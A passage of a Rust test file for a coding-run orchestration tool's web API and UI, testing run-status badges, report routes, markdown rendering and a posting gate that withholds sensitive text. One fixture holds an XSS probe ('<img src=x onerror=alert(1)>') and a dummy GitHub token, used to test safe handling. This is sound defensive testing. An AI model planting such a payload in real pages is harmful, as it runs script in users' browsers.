19529    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19530    #[test]
19531    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19532        let mk = |id: &str, pid: Option<u32>| {
19533            let mut s = RunState::new(
19534                PathBuf::from("/repo/magi"),
19535                "main".to_owned(),
19536                "0123456789abcdef".to_owned(),
19537                "Add a web UI".to_owned(),
19538                Config::default(),
19539            );
19540            s.id = id.to_owned();
19541            s.driver_pid = pid;
19542            s.driver_started_at = Some("1790000000".to_owned());
19543            s
19544        };
19545        let states = vec![
19546            mk("20260902-140502-aaaa", Some(77)),
19547            mk("20260902-140502-bbbb", Some(77)),
19548            mk("20260902-140502-cccc", Some(77)),
19549            mk("20260902-140502-dddd", None),
19550        ];
19551        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19552        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19553        let sup: HashMap<String, String> = [(
19554            "20260902-140502-aaaa".to_owned(),
19555            "20260902-140502-cccc".to_owned(),
19556        )]
19557        .into();
19558
19559        let status_calls = std::cell::Cell::new(0);
19560        let identity_calls = std::cell::Cell::new(0);
19561        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19562            |_| {
19563                status_calls.set(status_calls.get() + 1);
19564                Some(true)
19565            },
19566            |_| {
19567                identity_calls.set(identity_calls.get() + 1);
19568                Some("1790000000".to_owned())
19569            },
19570        ));
19571        let rows = summarize(
19572            states,
19573            &open,
19574            &claimed,
19575            &sup,
19576            |p| probe.borrow_mut().status(p),
19577            |p| probe.borrow_mut().started_at(p),
19578        );
19579
19580        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19581        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19582        assert_eq!(rows.len(), 4);
19583        assert!(!rows[0].waiting && rows[1].waiting);
19584        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19585        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19586        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19587        assert_eq!(rows[1].superseded_by, None);
19588    }
19589
19590    #[test]
19591    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19592        let mut state = RunState::new(
19593            PathBuf::from("/repo/magi"),
19594            "main".to_owned(),
19595            "0123456789abcdef".to_owned(),
19596            "Review only".to_owned(),
19597            Config::default(),
19598        );
19599        state.id = "20260922-090200-dead".to_owned();
19600        state.status = RunStatus::Reviewing;
19601        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19602            .expect("serialize list row");
19603        assert_eq!(row["status"], "reviewing");
19604        assert_eq!(row["display_status"], "stale");
19605        assert_eq!(row["live"], "dead", "{row}");
19606        assert!(!row["done"].as_bool().unwrap());
19607    }
19608
19609    #[test]
19610    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19611        use crate::run::Liveness::{Dead, Live, Unknown};
19612        let mut state = RunState::new(
19613            PathBuf::from("/repo/magi"),
19614            "main".to_owned(),
19615            "abc".to_owned(),
19616            "Review only".to_owned(),
19617            Config::default(),
19618        );
19619        for (status, parked, node, waiting, live, expected) in [
19620            (
19621                RunStatus::Judging,
19622                true,
19623                "github-text",
19624                false,
19625                Dead,
19626                "parked",
19627            ),
19628            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19629            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19630            (
19631                RunStatus::Judging,
19632                true,
19633                "github-text",
19634                true,
19635                Dead,
19636                "waiting",
19637            ),
19638            (
19639                RunStatus::Judging,
19640                false,
19641                "github-text",
19642                true,
19643                Dead,
19644                "waiting",
19645            ),
19646            (
19647                RunStatus::Judging,
19648                false,
19649                "github-text",
19650                false,
19651                Dead,
19652                "stale",
19653            ),
19654            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19655            (RunStatus::Judging, true, "park", false, Live, "judging"),
19656            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19657            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19658            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19659            (
19660                RunStatus::Blocked,
19661                true,
19662                "github-text",
19663                true,
19664                Dead,
19665                "waiting",
19666            ),
19667        ] {
19668            state.status = status;
19669            state.parked = parked;
19670            state.events.clear();
19671            state.event(
19672                "park",
19673                "an earlier park does not determine the latest state",
19674            );
19675            state.event(node, "message is not used for classification");
19676            let summary = RunSummary::of(&state, waiting, live);
19677            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19678            assert_eq!(
19679                summary.display_status, expected,
19680                "{status:?}/{node}/{live:?}"
19681            );
19682            assert_eq!(detail.display_status, summary.display_status);
19683            assert_eq!(detail.waiting, summary.waiting);
19684        }
19685        state.status = RunStatus::Judging;
19686        state.parked = false;
19687        state.events.clear();
19688        assert_eq!(run_display_status(&state, false, Dead), "stale");
19689    }
19690
19691    #[test]
19692    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19693        use crate::run::Liveness::{Dead, Live, Unknown};
19694        let mut state = RunState::new(
19695            PathBuf::from("/repo/magi"),
19696            "main".to_owned(),
19697            "abc".to_owned(),
19698            "Badge".to_owned(),
19699            Config::default(),
19700        );
19701        for (status, waiting, live, superseded, expected) in [
19702            (RunStatus::Gating, false, Dead, false, "stale"),
19703            (RunStatus::Gating, false, Dead, true, "superseded"),
19704            (RunStatus::Gating, false, Unknown, true, "superseded"),
19705            (RunStatus::Gating, true, Dead, true, "superseded"),
19706            (RunStatus::Gating, true, Dead, false, "waiting"),
19707            (RunStatus::Gating, false, Unknown, false, "gating"),
19708            (RunStatus::Gating, false, Live, true, "gating"),
19709            (RunStatus::Gating, true, Live, true, "waiting"),
19710            (RunStatus::Merged, false, Dead, true, "merged"),
19711            (RunStatus::Blocked, false, Dead, true, "blocked"),
19712        ] {
19713            state.status = status;
19714            let display = run_display_status(&state, waiting, live);
19715            assert_eq!(
19716                run_badge_status(&state, &display, live, superseded),
19717                expected,
19718                "{status:?}/{live:?}/superseded={superseded}"
19719            );
19720        }
19721    }
19722
19723    #[test]
19724    fn summarize_and_detail_expose_badge_status() {
19725        use crate::run::Liveness::Dead;
19726        let mut state = RunState::new(
19727            PathBuf::from("/repo/magi"),
19728            "main".to_owned(),
19729            "abc".to_owned(),
19730            "Badge".to_owned(),
19731            Config::default(),
19732        );
19733        state.status = RunStatus::Gating;
19734        let none = HashSet::new();
19735        let id = state.id.clone();
19736        let mut by = HashMap::new();
19737        let rows = summarize(
19738            [state.clone()],
19739            &none,
19740            &none,
19741            &by,
19742            |_| Some(false),
19743            |_| None,
19744        );
19745        // No driver recorded: liveness is not provably dead, so the node stays.
19746        assert_eq!(rows[0].badge_status, rows[0].display_status);
19747        by.insert(id, "20260901-000000-913b".to_owned());
19748        let detail = RunDetailView::of(
19749            state.clone(),
19750            false,
19751            Dead,
19752            Some("913b".to_owned()),
19753            None,
19754            None,
19755        );
19756        assert_eq!(detail.badge_status, "superseded");
19757        let json = serde_json::to_value(&detail).unwrap();
19758        assert_eq!(json["badge_status"], "superseded");
19759        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19760        assert_eq!(detail.badge_status, "stale");
19761    }
19762
19763    #[tokio::test]
19764    async fn run_display_status_routes_share_the_open_question_store() {
19765        let f = Fixture::start().await;
19766        let id = "20260922-090200-abcd";
19767        write_run(&f.runs(), id, RunStatus::Judging);
19768        let mut state = read_run(&f.runs(), id).unwrap();
19769        state.parked = true;
19770        state.driver_exited = true;
19771        state.event("github-text", "waiting for the owner");
19772        state.save_under(f.home.path()).unwrap();
19773        let mut task = Task::new(
19774            "resumed task".to_owned(),
19775            "do it".to_owned(),
19776            PathBuf::from("/repo"),
19777            Source::Human,
19778        );
19779        task.runs = vec![id.to_owned(), id.to_owned()];
19780        f.queue().put(&mut task).unwrap();
19781        let store = f.questions();
19782        let mut q = Question::new(
19783            id.to_owned(),
19784            "github-text".to_owned(),
19785            "owner".to_owned(),
19786            "Approve the text?".to_owned(),
19787            String::new(),
19788            Vec::new(),
19789        );
19790        store.put(&mut q).unwrap();
19791        for expected in ["waiting", "parked"] {
19792            let list = f.get("/api/runs").await.json();
19793            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19794            assert_eq!(list[0]["display_status"], expected);
19795            assert_eq!(detail["display_status"], expected);
19796            assert_eq!(detail["waiting"], list[0]["waiting"]);
19797            assert_eq!(list[0]["badge_status"], expected);
19798            assert_eq!(detail["badge_status"], expected);
19799            assert!(list[0]["superseded_by"].is_null());
19800            assert!(detail["superseded_by"].is_null());
19801            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19802            let history = task_detail["history"].as_array().unwrap();
19803            assert_eq!(history.len(), 2);
19804            assert!(history[0]["badge"].is_null());
19805            assert_eq!(history[1]["badge"], expected);
19806            q.status = ask::QuestionStatus::Answered;
19807            store.put(&mut q).unwrap();
19808        }
19809    }
19810
19811    #[tokio::test]
19812    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19813        let f = Fixture::start().await;
19814        let id = "20260922-090200-abcd";
19815        write_run(&f.runs(), id, RunStatus::Judging);
19816        let mut state = read_run(&f.runs(), id).unwrap();
19817        state.parked = true;
19818        state.driver_exited = true;
19819        state.event("park", "stopped at a node boundary");
19820        state.save_under(f.home.path()).unwrap();
19821
19822        for expected in ["parked", "stale"] {
19823            let list = f.get("/api/runs").await.json();
19824            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19825            assert_eq!(list[0]["live"], "dead");
19826            assert_eq!(list[0]["display_status"], expected);
19827            assert_eq!(detail["display_status"], expected);
19828            // Model a driver claim followed by a crash before the next event:
19829            // the persisted flag changes, but the last event is still park.
19830            state.parked = false;
19831            state.save_under(f.home.path()).unwrap();
19832        }
19833    }
19834
19835    #[tokio::test]
19836    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19837        let f = Fixture::start().await;
19838        for id in [
19839            "20260902-140501-aaaa",
19840            "20260902-140502-bbbb",
19841            "20260902-140503-cccc",
19842        ] {
19843            write_run(&f.runs(), id, RunStatus::Merged);
19844        }
19845
19846        let all = f.get("/api/runs").await.json();
19847        let capped = f.get("/api/runs?limit=2").await.json();
19848
19849        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19850        assert_eq!(all.as_array().map(Vec::len), Some(3));
19851        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19852        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19853    }
19854
19855    #[tokio::test]
19856    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19857        let f = Fixture::start().await;
19858        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19859
19860        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19861
19862        assert_eq!(res.status, 200);
19863        assert!(
19864            res.headers
19865                .contains("content-type: text/plain; charset=utf-8"),
19866            "a browser must render it, not download it: {}",
19867            res.headers
19868        );
19869        // The assertion is on content, not on the absence of escapes: colour
19870        // is a process-global that `serve` turns off at startup, and another
19871        // test in this binary may own it while this one runs.
19872        assert!(
19873            res.body.contains("20260902-140501-a1b2"),
19874            "the report is about the run that was asked for: {}",
19875            res.body
19876        );
19877    }
19878
19879    #[tokio::test]
19880    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19881        // The view names the run's state directory, which reads the process-global home.
19882        crate::run::pin_test_home();
19883        let f = Fixture::start().await;
19884        let id = "20260902-140501-a1b2";
19885        write_run(&f.runs(), id, RunStatus::Stalled);
19886        // A stalled panel and one review round, written through the real
19887        // state file so the route reads what a run really leaves behind.
19888        let path = f.runs().join(id).join("run.json");
19889        let mut v: serde_json::Value =
19890            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19891        v["tally"] = serde_json::json!({
19892            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19893            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19894            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19895            "met_quorum": false, "rankings": 1
19896        });
19897        v["reviews"] = serde_json::json!([{
19898            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19899            "e2e_deferred": true,
19900            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19901                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19902            ]}]
19903        }]);
19904        std::fs::write(&path, v.to_string()).unwrap();
19905        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19906        std::fs::write(
19907            f.runs().join("20260902-140502-dead").join("run.json"),
19908            "{not json",
19909        )
19910        .unwrap();
19911
19912        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19913
19914        assert_eq!(res.status, 200, "{}", res.body);
19915        assert!(res.headers.contains("content-type: application/json"));
19916        let j = res.json();
19917        assert_eq!(j["schema"], 1);
19918        assert_eq!(j["header"]["id"], id);
19919        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19920        let kinds: Vec<&str> = j["sections"]
19921            .as_array()
19922            .unwrap()
19923            .iter()
19924            .map(|s| s["kind"].as_str().unwrap())
19925            .collect();
19926        assert_eq!(kinds, ["candidates", "tally", "review"]);
19927        let tally = &j["sections"][1]["tally"];
19928        assert_eq!(
19929            (tally["decided"].clone(), tally["provisional"].clone()),
19930            (false.into(), true.into())
19931        );
19932        let round = &j["sections"][2]["rounds"][0];
19933        assert_eq!(round["e2e"]["state"], "deferred");
19934        assert_eq!(round["findings"][0]["severity"], "major");
19935        assert_eq!(round["findings"][0]["blocking"], true);
19936        assert_eq!(round["findings"][0]["state"], "open");
19937
19938        // The raw route keeps working beside it.
19939        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19940
19941        // An unreadable run is an error, as on the text route, and is counted.
19942        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19943        assert_ne!(bad.status, 200, "{}", bad.body);
19944        assert_eq!(
19945            bad.status,
19946            f.get("/api/runs/20260902-140502-dead/report").await.status
19947        );
19948        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19949        assert_eq!(
19950            f.get("/api/runs/20260902-999999-ffff/report.json")
19951                .await
19952                .status,
19953            404
19954        );
19955    }
19956
19957    #[tokio::test]
19958    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19959        crate::run::pin_test_home();
19960        let f = Fixture::start().await;
19961        let id = "20260902-140503-delib";
19962        write_run(&f.runs(), id, RunStatus::Merged);
19963        let path = f.runs().join(id).join("run.json");
19964        let mut v: serde_json::Value =
19965            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19966        v["judgements"] = serde_json::json!([
19967            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19968        ]);
19969        v["tally"] = serde_json::json!({
19970            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19971            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19972            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19973            "met_quorum": true, "rankings": 1
19974        });
19975        v["deliberation"] = serde_json::json!([
19976            {
19977                "round": 1,
19978                "turns": [
19979                    {
19980                        "judge": 1,
19981                        "agent": "judge-1",
19982                        "body": "I prefer candidate **A** because it has cleaner tests.",
19983                        "tentative": "A"
19984                    }
19985                ]
19986            },
19987            {
19988                "round": 2,
19989                "turns": [
19990                    {
19991                        "judge": 1,
19992                        "agent": "judge-1",
19993                        "body": "Still thinking, no choice yet.",
19994                        "tentative": null
19995                    }
19996                ]
19997            }
19998        ]);
19999        std::fs::write(&path, v.to_string()).unwrap();
20000
20001        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20002        assert_eq!(res.status, 200, "{}", res.body);
20003        let j = res.json();
20004        let judging = j["sections"]
20005            .as_array()
20006            .unwrap()
20007            .iter()
20008            .find(|s| s["kind"] == "judging")
20009            .expect("judging section exists");
20010
20011        // Existing summary lines remain intact
20012        let delib_lines = judging["deliberation"].as_array().unwrap();
20013        assert_eq!(delib_lines.len(), 2);
20014        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20015        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20016
20017        // rounds carry turn bodies, tentative and parsed body_md
20018        let rounds = judging["rounds"].as_array().unwrap();
20019        assert_eq!(rounds.len(), 2);
20020        let r1_t0 = &rounds[0]["turns"][0];
20021        assert_eq!(r1_t0["judge"], 1);
20022        assert_eq!(r1_t0["agent"], "judge-1");
20023        assert_eq!(r1_t0["tentative"], "A");
20024        assert_eq!(
20025            r1_t0["body"],
20026            "I prefer candidate **A** because it has cleaner tests."
20027        );
20028        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20029
20030        let r2_t0 = &rounds[1]["turns"][0];
20031        assert_eq!(r2_t0["judge"], 1);
20032        assert_eq!(r2_t0["agent"], "judge-1");
20033        assert!(r2_t0["tentative"].is_null());
20034        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20035        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20036
20037        // A run with empty deliberation array yields empty rounds
20038        let id_empty = "20260902-140504-nodelib";
20039        write_run(&f.runs(), id_empty, RunStatus::Merged);
20040        let path_empty = f.runs().join(id_empty).join("run.json");
20041        let mut v_empty: serde_json::Value =
20042            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20043        v_empty["judgements"] = serde_json::json!([
20044            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20045        ]);
20046        v_empty["deliberation"] = serde_json::json!([]);
20047        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20048
20049        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20050        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20051        let j_empty = res_empty.json();
20052        let judging_empty = j_empty["sections"]
20053            .as_array()
20054            .unwrap()
20055            .iter()
20056            .find(|s| s["kind"] == "judging")
20057            .expect("judging section exists");
20058        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20059    }
20060
20061    #[tokio::test]
20062    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20063        let f = Fixture::start().await;
20064
20065        let html = f.get("/").await;
20066        let css = f.get("/app.css").await;
20067        let js = f.get("/app.js").await;
20068
20069        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20070        assert!(
20071            html.headers
20072                .contains("content-type: text/html; charset=utf-8")
20073        );
20074        assert!(css.headers.contains("content-type: text/css"));
20075        assert!(js.headers.contains("content-type: text/javascript"));
20076        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20077    }
20078
20079    #[test]
20080    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20081        let body = |name: &str| {
20082            let at = APP_JS
20083                .find(name)
20084                .unwrap_or_else(|| panic!("{name} missing"));
20085            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20086        };
20087        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20088        let note = body("function landRoundNote");
20089        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20090        assert!(note.contains("Land round ${round}"));
20091        let land = body("function renderLand");
20092        let note_at = land
20093            .find("landRoundNote(pr)")
20094            .expect("renderLand uses the note");
20095        assert!(
20096            note_at
20097                < land
20098                    .find("roundRail(pr)")
20099                    .expect("renderLand uses the rail")
20100        );
20101    }
20102
20103    #[test]
20104    fn the_runs_page_redesign_keeps_its_guards() {
20105        let body = |name: &str| {
20106            let at = APP_JS
20107                .find(name)
20108                .unwrap_or_else(|| panic!("{name} missing"));
20109            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20110        };
20111        // A null child must never reach the native append (it prints "null").
20112        let land = body("function renderLand");
20113        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20114        assert!(
20115            !land.contains("box.append("),
20116            "renderLand must use append()"
20117        );
20118        assert!(land.contains("append(box, ["));
20119        // Tabs are hash routes; the run id alone decides a reload.
20120        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20121        assert!(
20122            body("function applyRoute")
20123                .contains("route.name !== state.route.name || route.id !== state.route.id")
20124        );
20125        // The decorative diagram is gone, the strip and its guards stay.
20126        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20127        assert!(!INDEX_HTML.contains("advise-converge"));
20128        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20129        assert!(APP_JS.contains("provisional"));
20130        for id in [
20131            "run-tab-overview",
20132            "run-tab-timeline",
20133            "run-tab-report",
20134            "run-report",
20135            "runs-scope",
20136        ] {
20137            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20138        }
20139        assert!(!INDEX_HTML.contains("runs-tree"));
20140        assert!(!INDEX_HTML.contains("run-raw-panel"));
20141        // Fold still says it cannot be resumed.
20142        assert!(APP_JS.contains("resume"));
20143        // The unreadable-runs count stays on the page.
20144        assert!(APP_JS.contains("unreadable"));
20145    }
20146
20147    #[test]
20148    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20149        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20150        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20151        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20152        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20153        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20154        // The subtitle still counts them whatever the banner does.
20155        assert!(APP_JS.contains("unreadable` : null"));
20156    }
20157
20158    #[test]
20159    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20160        let mut state = RunState::new(
20161            "/repo".into(),
20162            "main".into(),
20163            "abc".into(),
20164            "task".into(),
20165            crate::config::Config::default(),
20166        );
20167        state.status = RunStatus::Blocked;
20168        state.gate_ran = true;
20169        state.gate.push(crate::run::CommandOutcome {
20170            command: "cargo make check".into(),
20171            code: Some(1),
20172            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20173            duration_ms: 0,
20174            resource_blocked: false,
20175        });
20176        let view = RunDetailView::of(
20177            state,
20178            false,
20179            crate::run::Liveness::Unknown,
20180            None,
20181            None,
20182            None,
20183        );
20184        let value = serde_json::to_value(view).unwrap();
20185        assert_eq!(
20186            value["stop_reason"],
20187            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20188        );
20189    }
20190
20191    #[test]
20192    fn the_run_detail_payload_says_whether_the_run_is_done() {
20193        // `landView` reads `run.done`; the detail response must carry it.
20194        for (status, done) in [
20195            (RunStatus::Superseded, true),
20196            (RunStatus::Blocked, true),
20197            (RunStatus::Landing, false),
20198        ] {
20199            let mut state = RunState::new(
20200                std::path::PathBuf::from("/repo"),
20201                "main".to_owned(),
20202                "abc".to_owned(),
20203                "x".to_owned(),
20204                crate::config::Config::default(),
20205            );
20206            state.status = status;
20207            let v = serde_json::to_value(RunDetailView::of(
20208                state,
20209                false,
20210                crate::run::Liveness::Unknown,
20211                None,
20212                None,
20213                None,
20214            ))
20215            .unwrap();
20216            assert_eq!(v["done"], done, "{status:?}");
20217        }
20218    }
20219
20220    /// The first node of a markdown block holds a `strong` somewhere.
20221    fn has_strong(nodes: &[md::Node]) -> bool {
20222        serde_json::to_string(nodes).unwrap().contains("strong")
20223    }
20224
20225    #[test]
20226    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20227        let mut state = RunState::new(
20228            std::path::PathBuf::from("/repo"),
20229            "main".to_owned(),
20230            "abc".to_owned(),
20231            "x".to_owned(),
20232            crate::config::Config::default(),
20233        );
20234        let proposal = |approach: &str| {
20235            serde_json::json!({
20236                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20237            })
20238        };
20239        state.advice = Some(
20240            serde_json::from_value(serde_json::json!({
20241                "records": [
20242                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20243                     "proposal": proposal("do **this**")},
20244                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20245                ],
20246                "synthesis": "- one\n- **two**\n\n`code`",
20247            }))
20248            .unwrap(),
20249        );
20250        state.candidates = serde_json::from_value(serde_json::json!([
20251            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20252             "summary": "did **it**"},
20253            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20254        ]))
20255        .unwrap();
20256        // Recorded in ascending severity, the reverse of how the page sorts
20257        // them: the arrays must follow the record, not the display.
20258        state.reviews = serde_json::from_value(serde_json::json!([{
20259            "round": 1, "head": "h",
20260            "reviews": [{
20261                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20262                "findings": [
20263                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20264                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20265                ],
20266            }],
20267            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20268            "fix": {"agent": "a", "notes": "fixed **it**",
20269                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20270        }, {"round": 2, "head": "h2", "reviews": []}]))
20271        .unwrap();
20272
20273        let v = serde_json::to_value(RunDetailView::of(
20274            state,
20275            false,
20276            crate::run::Liveness::Unknown,
20277            None,
20278            None,
20279            None,
20280        ))
20281        .unwrap();
20282
20283        let strong = |p: &str| {
20284            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20285            assert!(n.to_string().contains("strong"), "{p}: {n}");
20286        };
20287        strong("/advice_md/synthesis");
20288        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20289        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20290        strong("/advice_md/approaches/0");
20291        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20292        strong("/candidate_summaries_md/0");
20293        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20294        strong("/reviews_md/0/reviewers/0/summary");
20295        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20296        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20297        assert!(f[1].to_string().contains("strong"));
20298        strong("/reviews_md/0/reconsideration/0");
20299        strong("/reviews_md/0/fix/notes");
20300        strong("/reviews_md/0/fix/rejected/0");
20301        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20302        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20303        // The raw strings stay, and no schema moved.
20304        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20305        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20306    }
20307
20308    #[test]
20309    fn a_run_without_advice_has_no_advice_md() {
20310        let state = RunState::new(
20311            std::path::PathBuf::from("/repo"),
20312            "main".to_owned(),
20313            "abc".to_owned(),
20314            "x".to_owned(),
20315            crate::config::Config::default(),
20316        );
20317        let p = run_prose_md(&state);
20318        assert!(p.advice_md.is_none());
20319        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20320    }
20321
20322    #[test]
20323    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20324        let store = ask::Questions::at(PathBuf::from("unused"));
20325        let gt = crate::github_text::Withheld {
20326            title: false,
20327            body: true,
20328            categories: vec!["sensitive-data".into()],
20329        };
20330        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20331        let (detail, comparison) =
20332            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20333        let mut q = Question::new(
20334            "r".into(),
20335            "github-text".into(),
20336            "posting-gate".into(),
20337            "s".into(),
20338            detail,
20339            Vec::new(),
20340        );
20341        assert!(
20342            QuestionView::of(q.clone(), &store, None)
20343                .posting_view
20344                .is_none()
20345        );
20346        q.posting_comparison = Some(comparison);
20347        let view = QuestionView::of(q.clone(), &store, None);
20348        let field = &view.posting_view.unwrap().fields[0];
20349        assert_eq!(
20350            field
20351                .original
20352                .iter()
20353                .map(|f| f.text.as_str())
20354                .collect::<String>(),
20355            body
20356        );
20357        assert!(field.original[0].text.starts_with("<img"));
20358        let original_question: Question =
20359            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20360        assert_eq!(original_question, q);
20361        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20362            .original
20363            .start = 1;
20364        assert!(
20365            QuestionView::of(q.clone(), &store, None)
20366                .posting_view
20367                .is_none()
20368        );
20369        q.posting_comparison = original_question.posting_comparison;
20370        q.detail.push_str("extra context");
20371        assert!(
20372            QuestionView::of(q.clone(), &store, None)
20373                .posting_view
20374                .is_some()
20375        );
20376        q.detail.insert(0, 'x');
20377        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20378    }
20379
20380    #[test]
20381    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20382        let store = ask::Questions::at(PathBuf::from("unused"));
20383        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20384        let gt = crate::github_text::Withheld::from_check(
20385            &crate::github_text::check("fix: x", body),
20386            "fix: x",
20387            body,
20388        )
20389        .unwrap();
20390        let (detail, comparison) =
20391            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20392        let mut q = Question::new(
20393            "r".into(),
20394            "github-text".into(),
20395            "posting-gate".into(),
20396            "s".into(),
20397            detail,
20398            Vec::new(),
20399        );
20400        q.posting_comparison = Some(comparison);
20401        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20402        let field = &value["posting_view"]["fields"][0];
20403        let group = &field["replacement_group"];
